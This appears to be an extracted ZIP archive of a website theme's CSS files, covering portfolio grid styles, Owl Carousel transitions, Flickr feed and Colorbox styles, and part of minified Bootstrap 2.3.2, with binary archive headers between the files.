.mediafolio-grid:hover{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.mediafolio-grid{
	float: left;
	border: none;
	display: none;
	overflow: hidden;
	position: relative;
}

.mediafolio-caps{
	padding: 10px;
	width: 100%;
	background: #eee;
}
.mediafolio-caps > p{
	color: #000;
	font-size: 14px;
	line-height: 21px;
	margin-bottom: 0;
font-family:"TexGyreHerosRegular";
}
.mediafolio-caps > p > span{
	font-size: 12px;
	line-height: 19px;
	margin-bottom: 0;
font-family:"MontserratRegular";
text-transform: uppercase;
}

 .mediafolio-grid .icon-overlay{background: none repeat scroll 0 0 rgba(0, 0, 0, 0.5);bottom: 0;display: block;height: 100%;left: 0;opacity: 0;position: absolute;right: 0;top: 0;-webkit-transition: all 0.3s ease 0s;-moz-transition: all 0.3s ease 0s;-ms-transition: all 0.3s ease 0s;-o-transition: all 0.3s ease 0s;transition: all 0.3s ease 0s;width: 100%;}
 .mediafolio-grid:hover  .icon-overlay{opacity: 1;}
 .mediafolio-grid .icon-holder span {position: absolute;}
 .mediafolio-grid .icon-holder span:nth-of-type(1) {bottom: 0;left: 50%;margin: 0 0 -20px -42px;visibility: hidden;opacity: 0;-webkit-transition: all 0.3s ease 0s;-moz-transition: all 0.3s ease 0s;-ms-transition: all 0.3s ease 0s;-o-transition: all 0.3s ease 0s;transition: all 0.3s ease 0s;}
 .mediafolio-grid .icon-holder span:nth-of-type(2) {top: 0;right: 50%;margin: -20px -42px 0 0;visibility: hidden;opacity: 0;-webkit-transition: all 0.3s ease 0s;-moz-transition: all 0.3s ease 0s;-ms-transition: all 0.3s ease 0s;-o-transition: all 0.3s ease 0s;transition: all 0.3s ease 0s;}
 .mediafolio-grid:hover .icon-holder span:nth-of-type(1) {bottom: 50%;visibility: visible;opacity: 1;}
 .mediafolio-grid:hover .icon-holder span:nth-of-type(2) {top: 50%;visibility: visible;opacity: 1;}

.rounded-icon {
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;background-color: #fff; border: medium none;display: inline-block !important;float: none !important;font-size: 14px;font-weight: normal;height: 40px;line-height: 40px;margin: 0 2px;text-align: center;width: 40px;-webkit-border-radius: 50%;-moz-border-radius: 50%;-ms-border-radius: 50%;-o-border-radius: 50%;border-radius: 50%;-webkit-box-shadow: 0 0 1px rgba(0, 0, 0, 0.5), inset 0 0 2px rgba(0, 0, 0, .1);-moz-box-shadow: 0 0 1px rgba(0, 0, 0, 0.5), inset 0 0 2px rgba(0, 0, 0, .1);-ms-box-shadow: 0 0 1px rgba(0, 0, 0, 0.5), inset 0 0 2px rgba(0, 0, 0, .1);-o-box-shadow: 0 0 1px rgba(0, 0, 0, 0.5), inset 0 0 2px rgba(0, 0, 0, .1);box-shadow: 0 0 1px rgba(0, 0, 0, 0.5), inset 0 0 2px rgba(0, 0, 0, .1);}
.rounded-icon  > a {color: #000;display: block;font-weight: normal;}
.rounded-icon:hover {background-color: red; 
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;}
.rounded-icon:hover  > a {color: #fff;}


/*resets*/
.inline-content{
	display: none;
}
.vbox-inline{
	width: 100%;
	min-width: 300px;
	max-width: 80%;
}PK!_n�||(bluetheme/assets/css/owl.transitions.cssnu&1i�/* 
 *  Owl Carousel CSS3 Transitions 
 *  v1.3.2
 */

.owl-origin {
	-webkit-perspective: 1200px;
	-webkit-perspective-origin-x : 50%;
	-webkit-perspective-origin-y : 50%;
	-moz-perspective : 1200px;
	-moz-perspective-origin-x : 50%;
	-moz-perspective-origin-y : 50%;
	perspective : 1200px;
}
/* fade */
.owl-fade-out {
  z-index: 10;
  -webkit-animation: fadeOut .7s both ease;
  -moz-animation: fadeOut .7s both ease;
  animation: fadeOut .7s both ease;
}
.owl-fade-in {
  -webkit-animation: fadeIn .7s both ease;
  -moz-animation: fadeIn .7s both ease;
  animation: fadeIn .7s both ease;
}
/* backSlide */
.owl-backSlide-out {
  -webkit-animation: backSlideOut 1s both ease;
  -moz-animation: backSlideOut 1s both ease;
  animation: backSlideOut 1s both ease;
}
.owl-backSlide-in {
  -webkit-animation: backSlideIn 1s both ease;
  -moz-animation: backSlideIn 1s both ease;
  animation: backSlideIn 1s both ease;
}
/* goDown */
.owl-goDown-out {
  -webkit-animation: scaleToFade .7s ease both;
  -moz-animation: scaleToFade .7s ease both;
  animation: scaleToFade .7s ease both;
}
.owl-goDown-in {
  -webkit-animation: goDown .6s ease both;
  -moz-animation: goDown .6s ease both;
  animation: goDown .6s ease both;
}
/* scaleUp */
.owl-fadeUp-in {
  -webkit-animation: scaleUpFrom .5s ease both;
  -moz-animation: scaleUpFrom .5s ease both;
  animation: scaleUpFrom .5s ease both;
}

.owl-fadeUp-out {
  -webkit-animation: scaleUpTo .5s ease both;
  -moz-animation: scaleUpTo .5s ease both;
  animation: scaleUpTo .5s ease both;
}
/* Keyframes */
/*empty*/
@-webkit-keyframes empty {
  0% {opacity: 1}
}
@-moz-keyframes empty {
  0% {opacity: 1}
}
@keyframes empty {
  0% {opacity: 1}
}
@-webkit-keyframes fadeIn {
  0% { opacity:0; }
  100% { opacity:1; }
}
@-moz-keyframes fadeIn {
  0% { opacity:0; }
  100% { opacity:1; }
}
@keyframes fadeIn {
  0% { opacity:0; }
  100% { opacity:1; }
}
@-webkit-keyframes fadeOut {
  0% { opacity:1; }
  100% { opacity:0; }
}
@-moz-keyframes fadeOut {
  0% { opacity:1; }
  100% { opacity:0; }
}
@keyframes fadeOut {
  0% { opacity:1; }
  100% { opacity:0; }
}
@-webkit-keyframes backSlideOut {
  25% { opacity: .5; -webkit-transform: translateZ(-500px); }
  75% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(-200%); }
  100% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(-200%); }
}
@-moz-keyframes backSlideOut {
  25% { opacity: .5; -moz-transform: translateZ(-500px); }
  75% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); }
  100% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); }
}
@keyframes backSlideOut {
  25% { opacity: .5; transform: translateZ(-500px); }
  75% { opacity: .5; transform: translateZ(-500px) translateX(-200%); }
  100% { opacity: .5; transform: translateZ(-500px) translateX(-200%); }
}
@-webkit-keyframes backSlideIn {
  0%, 25% { opacity: .5; -webkit-transform: translateZ(-500px) translateX(200%); }
  75% { opacity: .5; -webkit-transform: translateZ(-500px); }
  100% { opacity: 1; -webkit-transform: translateZ(0) translateX(0); }
}
@-moz-keyframes backSlideIn {
  0%, 25% { opacity: .5; -moz-transform: translateZ(-500px) translateX(200%); }
  75% { opacity: .5; -moz-transform: translateZ(-500px); }
  100% { opacity: 1; -moz-transform: translateZ(0) translateX(0); }
}
@keyframes backSlideIn {
  0%, 25% { opacity: .5; transform: translateZ(-500px) translateX(200%); }
  75% { opacity: .5; transform: translateZ(-500px); }
  100% { opacity: 1; transform: translateZ(0) translateX(0); }
}
@-webkit-keyframes scaleToFade {
  to { opacity: 0; -webkit-transform: scale(.8); }
}
@-moz-keyframes scaleToFade {
  to { opacity: 0; -moz-transform: scale(.8); }
}
@keyframes scaleToFade {
  to { opacity: 0; transform: scale(.8); }
}
@-webkit-keyframes goDown {
  from { -webkit-transform: translateY(-100%); }
}
@-moz-keyframes goDown {
  from { -moz-transform: translateY(-100%); }
}
@keyframes goDown {
  from { transform: translateY(-100%); }
}

@-webkit-keyframes scaleUpFrom {
  from { opacity: 0; -webkit-transform: scale(1.5); }
}
@-moz-keyframes scaleUpFrom {
  from { opacity: 0; -moz-transform: scale(1.5); }
}
@keyframes scaleUpFrom {
  from { opacity: 0; transform: scale(1.5); }
}

@-webkit-keyframes scaleUpTo {
  to { opacity: 0; -webkit-transform: scale(1.5); }
}
@-moz-keyframes scaleUpTo {
  to { opacity: 0; -moz-transform: scale(1.5); }
}
@keyframes scaleUpTo {
  to { opacity: 0; transform: scale(1.5); }
}PK!�j��)bluetheme/assets/css/flickrfeed.style.cssnu&1i�.st-flickr-center {
    margin: 0 auto;
}
.st-flickr-right {
    float: right;
}
.st-flickr-left {
    float: left;
}

.thumbs { 
    margin: 0; 
    padding: 0; 
    overflow: hidden; 
}
.thumbs li { 
    list-style: none; 
    background: #eee; 
    width: auto;
    display: inline-block;
}
.thumbs li img { display: block; }
.thumbs li a img { border: none;}
.st-flickr {
    
}
.st-flickr h3, .st-flickr h4{
    text-transform: uppercase;
    font-weight: bold;
    display:block;
}

#cycle { 
    margin: 0;          
    padding: 0;                
    height: auto;         
    padding: 3px;  
    text-align: center;
}
#cycle > div { 
    position: relative; 
    margin: 0; 
    padding: 3px; 
    overflow: hidden; 
}
#cycle > div > img {
    border-radius: 3px;
}
#cycle > div > div { 
    position: absolute; 
    bottom: 3px; 
    left: 3px; 
    padding: 3px; 
    width: 100%;
    background: black; 
    color: white; 
    font-size: 12px; 
    opacity: .8; 
}


/*
    Colorbox Core Style:
    The following CSS is consistent between example themes and should not be altered.
*/
#colorbox, #cboxOverlay, #cboxWrapper{position:absolute; top:0; left:0; z-index:999999999; overflow:hidden;}
#cboxOverlay{position:fixed; width:100%; height:100%;}
#cboxMiddleLeft, #cboxBottomLeft{clear:left;}
#cboxContent{position:relative;}
#cboxLoadedContent{overflow:auto; -webkit-overflow-scrolling: touch;}
#cboxTitle{margin:0;}
#cboxLoadingOverlay, #cboxLoadingGraphic{position:absolute; top:0; left:0; width:100%; height:100%;}
#cboxPrevious, #cboxNext, #cboxClose, #cboxSlideshow{cursor:pointer;}
.cboxPhoto{float:left; margin:auto; border:0; display:block; max-width:none;}
.cboxIframe{width:100%; height:100%; display:block; border:0;}
#colorbox, #cboxContent, #cboxLoadedContent{box-sizing:content-box; -moz-box-sizing:content-box; -webkit-box-sizing:content-box;}

/* 
    User Style:
    Change the following styles to modify the appearance of Colorbox.  They are
    ordered & tabbed in a way that represents the nesting of the generated HTML.
*/
#cboxOverlay{background:url(images/overlay.png) repeat 0 0;}
#colorbox{outline:0;}
    #cboxContent{background:#fff; overflow:hidden;}
        .cboxIframe{background:#fff;}
        #cboxError{padding:50px; border:1px solid #ccc;}
        #cboxLoadedContent{margin-bottom:28px;}
        #cboxTitle{display:none;}
        #cboxCurrent{display:none;}
        #cboxLoadingOverlay{background:url(images/loading_background.png) no-repeat center center;}
        #cboxLoadingGraphic{background:url(images/loading.gif) no-repeat center center;}

        /* these elements are buttons, and may need to have additional styles reset to avoid unwanted base styles */
        #cboxPrevious, #cboxNext, #cboxSlideshow, #cboxClose {border:0; padding:0; margin:0; overflow:visible; width:auto; background:none; }
        
        /* avoid outlines on :active (mouseclick), but preserve outlines on :focus (tabbed navigating) */
        #cboxPrevious:visited, #cboxNext:visited, #cboxSlideshow:visited, #cboxClose:visited {outline:0 !important;}
        #cboxPrevious:focus, #cboxNext:focus, #cboxSlideshow:focus, #cboxClose:focus {outline:0 !important;}
        #cboxPrevious:active, #cboxNext:active, #cboxSlideshow:active, #cboxClose:active {outline:0 !important;}
        #cboxPrevious:hover, #cboxNext:hover, #cboxSlideshow:hover, #cboxClose:hover {outline:0 !important;}

        #cboxSlideshow{position:absolute; bottom:4px; right:30px; color:#0092ef;}
        #cboxPrevious{position:absolute; top:50%; left:17px; background:url(images/prjct-prev.png) no-repeat; width:59px; height:65px; text-indent:-9999px;}
        #cboxPrevious:hover{}
        #cboxNext{position:absolute; top:50%; right:17px; background:url(images/prjct-next.png) no-repeat; width:59px; height:65px; text-indent:-9999px;}
        #cboxNext:hover{}
        #cboxClose{position:absolute; top:10px; left:50%; margin-left:-16px; background:url(images/prjct-close.png) no-repeat; width:36px; height:36px; text-indent:-9999px;}
        #cboxClose:hover{}

/*
  The following fixes a problem where IE7 and IE8 replace a PNG's alpha transparency with a black fill
  when an alpha filter (opacity change) is set on the element or ancestor element.  This style is not applied to or needed in IE9.
  See: http://jacklmoore.com/notes/ie-transparency-problems/
*/
.cboxIE #cboxTopLeft,
.cboxIE #cboxTopCenter,
.cboxIE #cboxTopRight,
.cboxIE #cboxBottomLeft,
.cboxIE #cboxBottomCenter,
.cboxIE #cboxBottomRight,
.cboxIE #cboxMiddleLeft,
.cboxIE #cboxMiddleRight {
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#00FFFFFF,endColorstr=#00FFFFFF);
}
.st-flickr h3, .st-flickr h4{
    text-transform: uppercase;
    font-weight: bold;
    display:block;
}
.clear-both:after {
    clear: both;  
}
.clear-both:after,
.clear-both:before {
    display: table;
    content: '';
    line-height: 0;
}
#cbox li {
    display: inline-block;
}

.flickr-list-wrapper {
    width: 100%;
}
.col-fl-1 {
    width: 100%;
}
.col-fl-2 {
    width: 50%;
}
.col-fl-3 {
    width: 33.33333%;
}
.col-fl-4 {
    width: 25%;
}
.col-fl-5 {
    width: 20%;
}
.col-fl-6 {
    width: 16.66667%;
}
.col-fl-7 {
    width: 14.28571%;
}
.col-fl-8 {
    width: 12.5%;
}
.col-fl-9 {
    width: 11.11111%;
}
.col-fl-10 {
    width: 10%;
}
.col-fl-1, 
.col-fl-2, 
.col-fl-3, 
.col-fl-4, 
.col-fl-5, 
.col-fl-6, 
.col-fl-7, 
.col-fl-8, 
.col-fl-9, 
.col-fl-10
{
    float: left;
    position: relative;
    display: inline-block;
    overflow: hidden;
    box-sizing: border-box;
    -webkit-box-sizing: border-box;
}
.col-fl-1 img, 
.col-fl-2 img, 
.col-fl-3 img, 
.col-fl-4 img, 
.col-fl-5 img, 
.col-fl-6 img, 
.col-fl-7 img,
.col-fl-8 img,
.col-fl-9 img,
.col-fl-10 img 
{
    margin: 0 auto;
}

PK!љ�����*bluetheme/assets/css/bootstrap.2.3.min.cssnu&1i�/*!
 * Bootstrap v2.3.2
 *
 * Copyright 2013 Twitter, Inc
 * Licensed under the Apache License v2.0
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Designed and built with all the love in the world @twitter by @mdo and @fat.
 */
.clearfix{*zoom:1;}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0;}
.clearfix:after{clear:both;}
.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}
.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}
p{margin:0 0 10px;}
.lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px;}
small{font-size:85%;}
strong{font-weight:bold;}
em{font-style:italic;}
cite{font-style:normal;}
.muted{color:#999999;}
a.muted:hover,a.muted:focus{color:#808080;}
.text-warning{color:#c09853;}
a.text-warning:hover,a.text-warning:focus{color:#a47e3c;}
.text-error{color:#b94a48;}
a.text-error:hover,a.text-error:focus{color:#953b39;}
.text-info{color:#3a87ad;}
a.text-info:hover,a.text-info:focus{color:#2d6987;}
.text-success{color:#468847;}
a.text-success:hover,a.text-success:focus{color:#356635;}
.text-left{text-align:left;}
.text-right{text-align:right;}
.text-center{text-align:center;}
h1,h2,h3,h4,h5,h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-weight:normal;line-height:1;color:#999999;}
h1,h2,h3{line-height:40px;}
h1{font-size:38.5px;}
h2{font-size:31.5px;}
h3{font-size:24.5px;}
h4{font-size:17.5px;}
h5{font-size:14px;}
h6{font-size:11.9px;}
h1 small{font-size:24.5px;}
h2 small{font-size:17.5px;}
h3 small{font-size:14px;}
h4 small{font-size:14px;}
.page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eeeeee;}
ul,ol{padding:0;margin:0 0 10px 25px;}
ul ul,ul ol,ol ol,ol ul{margin-bottom:0;}
li{line-height:20px;}
ul.unstyled,ol.unstyled{margin-left:0;list-style:none;}
ul.inline,ol.inline{margin-left:0;list-style:none;}ul.inline>li,ol.inline>li{display:inline-block;*display:inline;*zoom:1;padding-left:5px;padding-right:5px;}
dl{margin-bottom:20px;}
dt,dd{line-height:20px;}
dt{font-weight:bold;}
dd{margin-left:10px;}
.dl-horizontal{*zoom:1;}.dl-horizontal:before,.dl-horizontal:after{display:table;content:"";line-height:0;}
.dl-horizontal:after{clear:both;}
.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}
.dl-horizontal dd{margin-left:180px;}
hr{margin:20px 0;border:0;border-top:1px solid #eeeeee;border-bottom:1px solid #ffffff;}
abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999999;}
abbr.initialism{font-size:90%;text-transform:uppercase;}
blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eeeeee;}blockquote p{margin-bottom:0;font-size:17.5px;font-weight:300;line-height:1.25;}
blockquote small{display:block;line-height:20px;color:#999999;}blockquote small:before{content:'\2014 \00A0';}
blockquote.pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eeeeee;border-left:0;}blockquote.pull-right p,blockquote.pull-right small{text-align:right;}
blockquote.pull-right small:before{content:'';}
blockquote.pull-right small:after{content:'\00A0 \2014';}
q:before,q:after,blockquote:before,blockquote:after{content:"";}
address{display:block;margin-bottom:20px;font-style:normal;line-height:20px;}
code,pre{padding:0 3px 2px;font-family:Monaco,Menlo,Consolas,"Courier New",monospace;font-size:12px;color:#333333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}
code{padding:2px 4px;color:#d14;background-color:#f7f7f9;border:1px solid #e1e1e8;white-space:nowrap;}
pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}pre.prettyprint{margin-bottom:20px;}
pre code{padding:0;color:inherit;white-space:pre;white-space:pre-wrap;background-color:transparent;border:0;}
.pre-scrollable{max-height:340px;overflow-y:scroll;}
.label,.badge{display:inline-block;padding:2px 4px;font-size:11.844px;font-weight:bold;line-height:14px;color:#ffffff;vertical-align:baseline;white-space:nowrap;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#999999;}
.label{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}
.badge{padding-left:9px;padding-right:9px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px;}
.label:empty,.badge:empty{display:none;}
a.label:hover,a.label:focus,a.badge:hover,a.badge:focus{color:#ffffff;text-decoration:none;cursor:pointer;}
.label-important,.badge-important{background-color:#b94a48;}
.label-important[href],.badge-important[href]{background-color:#953b39;}
.label-warning,.badge-warning{background-color:#f89406;}
.label-warning[href],.badge-warning[href]{background-color:#c67605;}
.label-success,.badge-success{background-color:#468847;}
.label-success[href],.badge-success[href]{background-color:#356635;}
.label-info,.badge-info{background-color:#3a87ad;}
.label-info[href],.badge-info[href]{background-color:#2d6987;}
.label-inverse,.badge-inverse{background-color:#333333;}
.label-inverse[href],.badge-inverse[href]{background-color:#1a1a1a;}
.btn .label,.btn .badge{position:relative;top:-1px;}
.btn-mini .label,.btn-mini .badge{top:0;}
table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0;}
.table{width:100%;margin-bottom:20px;}.table th,.table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #dddddd;}
.table th{font-weight:bold;}
.table thead th{vertical-align:bottom;}
.table caption+thead tr:first-child th,.table caption+thead tr:first-child td,.table colgroup+thead tr:first-child th,.table colgroup+thead tr:first-child td,.table thead:first-child tr:first-child th,.table thead:first-child tr:first-child td{border-top:0;}
.table tbody+tbody{border-top:2px solid #dddddd;}
.table .table{background-color:#ffffff;}
.table-condensed th,.table-condensed td{padding:4px 5px;}
.table-bordered{border:1px solid #dddddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.table-bordered th,.table-bordered td{border-left:1px solid #dddddd;}
.table-bordered caption+thead tr:first-child th,.table-bordered caption+tbody tr:first-child th,.table-bordered caption+tbody tr:first-child td,.table-bordered colgroup+thead tr:first-child th,.table-bordered colgroup+tbody tr:first-child th,.table-bordered colgroup+tbody tr:first-child td,.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td{border-top:0;}
.table-bordered thead:first-child tr:first-child>th:first-child,.table-bordered tbody:first-child tr:first-child>td:first-child,.table-bordered tbody:first-child tr:first-child>th:first-child{-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;}
.table-bordered thead:first-child tr:first-child>th:last-child,.table-bordered tbody:first-child tr:first-child>td:last-child,.table-bordered tbody:first-child tr:first-child>th:last-child{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;}
.table-bordered thead:last-child tr:last-child>th:first-child,.table-bordered tbody:last-child tr:last-child>td:first-child,.table-bordered tbody:last-child tr:last-child>th:first-child,.table-bordered tfoot:last-child tr:last-child>td:first-child,.table-bordered tfoot:last-child tr:last-child>th:first-child{-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;}
.table-bordered thead:last-child tr:last-child>th:last-child,.table-bordered tbody:last-child tr:last-child>td:last-child,.table-bordered tbody:last-child tr:last-child>th:last-child,.table-bordered tfoot:last-child tr:last-child>td:last-child,.table-bordered tfoot:last-child tr:last-child>th:last-child{-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;}
.table-bordered tfoot+tbody:last-child tr:last-child td:first-child{-webkit-border-bottom-left-radius:0;-moz-border-radius-bottomleft:0;border-bottom-left-radius:0;}
.table-bordered tfoot+tbody:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:0;-moz-border-radius-bottomright:0;border-bottom-right-radius:0;}
.table-bordered caption+thead tr:first-child th:first-child,.table-bordered caption+tbody tr:first-child td:first-child,.table-bordered colgroup+thead tr:first-child th:first-child,.table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;}
.table-bordered caption+thead tr:first-child th:last-child,.table-bordered caption+tbody tr:first-child td:last-child,.table-bordered colgroup+thead tr:first-child th:last-child,.table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;}
.table-striped tbody>tr:nth-child(odd)>td,.table-striped tbody>tr:nth-child(odd)>th{background-color:#f9f9f9;}
.table-hover tbody tr:hover>td,.table-hover tbody tr:hover>th{background-color:#f5f5f5;}
table td[class*="span"],table th[class*="span"],.row-fluid table td[class*="span"],.row-fluid table th[class*="span"]{display:table-cell;float:none;margin-left:0;}
.table td.span1,.table th.span1{float:none;width:44px;margin-left:0;}
.table td.span2,.table th.span2{float:none;width:124px;margin-left:0;}
.table td.span3,.table th.span3{float:none;width:204px;margin-left:0;}
.table td.span4,.table th.span4{float:none;width:284px;margin-left:0;}
.table td.span5,.table th.span5{float:none;width:364px;margin-left:0;}
.table td.span6,.table th.span6{float:none;width:444px;margin-left:0;}
.table td.span7,.table th.span7{float:none;width:524px;margin-left:0;}
.table td.span8,.table th.span8{float:none;width:604px;margin-left:0;}
.table td.span9,.table th.span9{float:none;width:684px;margin-left:0;}
.table td.span10,.table th.span10{float:none;width:764px;margin-left:0;}
.table td.span11,.table th.span11{float:none;width:844px;margin-left:0;}
.table td.span12,.table th.span12{float:none;width:924px;margin-left:0;}
.table tbody tr.success>td{background-color:#dff0d8;}
.table tbody tr.error>td{background-color:#f2dede;}
.table tbody tr.warning>td{background-color:#fcf8e3;}
.table tbody tr.info>td{background-color:#d9edf7;}
.table-hover tbody tr.success:hover>td{background-color:#d0e9c6;}
.table-hover tbody tr.error:hover>td{background-color:#ebcccc;}
.table-hover tbody tr.warning:hover>td{background-color:#faf2cc;}
.table-hover tbody tr.info:hover>td{background-color:#c4e3f3;}
form{margin:0 0 20px;}
fieldset{padding:0;margin:0;border:0;}
legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333333;border:0;border-bottom:1px solid #e5e5e5;}legend small{font-size:15px;color:#999999;}
label,input,button,select,textarea{font-size:14px;font-weight:normal;line-height:20px;}
input,button,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;}
label{display:block;margin-bottom:5px;}
select,textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;color:#555555;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;vertical-align:middle;}
input,textarea,.uneditable-input{width:206px;}
textarea{height:auto;}
textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{background-color:#ffffff;border:1px solid #cccccc;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border linear .2s, box-shadow linear .2s;-moz-transition:border linear .2s, box-shadow linear .2s;-o-transition:border linear .2s, box-shadow linear .2s;transition:border linear .2s, box-shadow linear .2s;}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82, 168, 236, 0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);}
input[type="radio"],input[type="checkbox"]{margin:4px 0 0;*margin-top:0;margin-top:1px \9;line-height:normal;}
input[type="file"],input[type="image"],input[type="submit"],input[type="reset"],input[type="button"],input[type="radio"],input[type="checkbox"]{width:auto;}
select,input[type="file"]{height:30px;*margin-top:4px;line-height:30px;}
select{width:220px;border:1px solid #cccccc;background-color:#ffffff;}
select[multiple],select[size]{height:auto;}
select:focus,input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}
.uneditable-input,.uneditable-textarea{color:#999999;background-color:#fcfcfc;border-color:#cccccc;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);cursor:not-allowed;}
.uneditable-input{overflow:hidden;white-space:nowrap;}
.uneditable-textarea{width:auto;height:auto;}
input:-moz-placeholder,textarea:-moz-placeholder{color:#999999;}
input:-ms-input-placeholder,textarea:-ms-input-placeholder{color:#999999;}
input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999999;}
.radio,.checkbox{min-height:20px;padding-left:20px;}
.radio input[type="radio"],.checkbox input[type="checkbox"]{float:left;margin-left:-20px;}
.controls>.radio:first-child,.controls>.checkbox:first-child{padding-top:5px;}
.radio.inline,.checkbox.inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle;}
.radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline{margin-left:10px;}
.input-mini{width:60px;}
.input-small{width:90px;}
.input-medium{width:150px;}
.input-large{width:210px;}
.input-xlarge{width:270px;}
.input-xxlarge{width:530px;}
input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"]{float:none;margin-left:0;}
.input-append input[class*="span"],.input-append .uneditable-input[class*="span"],.input-prepend input[class*="span"],.input-prepend .uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"],.row-fluid .input-prepend [class*="span"],.row-fluid .input-append [class*="span"]{display:inline-block;}
input,textarea,.uneditable-input{margin-left:0;}
.controls-row [class*="span"]+[class*="span"]{margin-left:20px;}
input.span12,textarea.span12,.uneditable-input.span12{width:926px;}
input.span11,textarea.span11,.uneditable-input.span11{width:846px;}
input.span10,textarea.span10,.uneditable-input.span10{width:766px;}
input.span9,textarea.span9,.uneditable-input.span9{width:686px;}
input.span8,textarea.span8,.uneditable-input.span8{width:606px;}
input.span7,textarea.span7,.uneditable-input.span7{width:526px;}
input.span6,textarea.span6,.uneditable-input.span6{width:446px;}
input.span5,textarea.span5,.uneditable-input.span5{width:366px;}
input.span4,textarea.span4,.uneditable-input.span4{width:286px;}
input.span3,textarea.span3,.uneditable-input.span3{width:206px;}
